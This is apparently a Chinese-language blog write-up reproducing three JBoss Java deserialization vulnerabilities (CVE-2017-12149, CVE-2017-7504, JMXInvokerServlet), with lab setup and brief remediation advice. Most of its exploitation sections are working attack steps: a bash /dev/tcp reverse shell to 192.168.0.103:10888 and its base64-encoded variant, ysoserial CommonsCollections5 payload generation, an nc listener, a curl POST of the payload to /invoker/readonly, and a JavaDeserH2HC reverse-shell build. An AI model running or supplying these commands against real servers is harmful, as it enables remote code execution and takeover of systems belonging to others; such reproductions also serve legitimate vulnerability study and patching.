JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

1、漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

2、影响版本

5.x和6.x版本

3、漏洞复现

3.1 环境搭建

docker-compose up -d快速搭建环境

image-20220902153730562

访问网址:http://xxx:8080/,即可看到JBoos默认界面

image-20220902154836657

3.2 漏洞利用

漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化

通过检测工具发现存在漏洞,工具地址:https://github.com/yunxu1/jboss-_CVE-2017-12149

image-20220902160123735

反弹shell

使用bash来反弹shell

1
bash -i >& /dev/tcp/192.168.0.103/10888 0>&1

但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码

编码后:

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwODg4IDA+JjE=}|{base64,-d}|{bash,-i}

序列化数据生成

工具地址:https://github.com/frohoff/ysoserial

1
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > 1.ser

这时同级目录下多了一个1.ser文件,然后打开nc工具监听本地端口

1
nc -lvp 10888

通过brup或者curl工具将这个文件发送到/invoker/readonly

1
curl http://192.168.0.106:8080/invoker/readonly --data-binary @1.ser

image-20220909095916586

发送成功之后发现shell反弹成功

image-20220909095840964

第二种反弹方式

链接地址:https://github.com/joaomatosf/JavaDeserH2HC

git下载

1
[email protected]:joaomatosf/JavaDeserH2HC.git

编译ReverseShellCommonsCollectionsHashMap.java 这里注意一下符号,Windows系统符号为;,Linux系统符号为:,还有需要注意的是Windows平台最好使用系统自带的cmd命令行

1
javac -cp .;commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

生成ser文件,后面跟IP:端口,执行完成之后会创建ReverseShellCommonsCollectionsHashMap.ser文件

1
java -cp .;commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.103:10888

image-20220909134529001

通过brup或者curl工具将这个文件发送到/invoker/readonly,成功反弹shell

image-20220909134621866

4、修复建议

  • 升级版本
  • 删除http-invoker.sar组件
  • 限制访问

...\httpinvoker.sar\invoker.war\WEB-INF下的web.xmlsecurity-constraint标签中,对http-invoker组件进行访问控制。

1
<url-pattern>/*</url-pattern>

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

1、漏洞描述

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

2、影响版本

JBoss AS 4.x及之前版本

3、漏洞复现

3.1 环境搭建

image-20220909142355364

环境启动后,目标为http://your-ip:8080

访问http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet很有可能存在漏洞

image-20220909143133571

3.2 漏洞利用

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,漏洞利用过程和上面的漏洞利用一样,这里不过多演示。

image-20220909142809158

4、修复建议

  • 和上面一样

JBoss JMXInvokerServlet 反序列化漏洞

1、漏洞描述

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

2、影响版本

1
2
3
4
5
6
7
8
9
10
11
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

3、漏洞复现

3.1 环境搭建

image-20220909151614371

初始化完成后访问http://your-ip:8080/即可看到JBoss默认页面。

3.2 漏洞利用

JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考CVE-2017-12149

参考链接

https://www.freebuf.com/articles/web/272033.html

https://paper.seebug.org/312/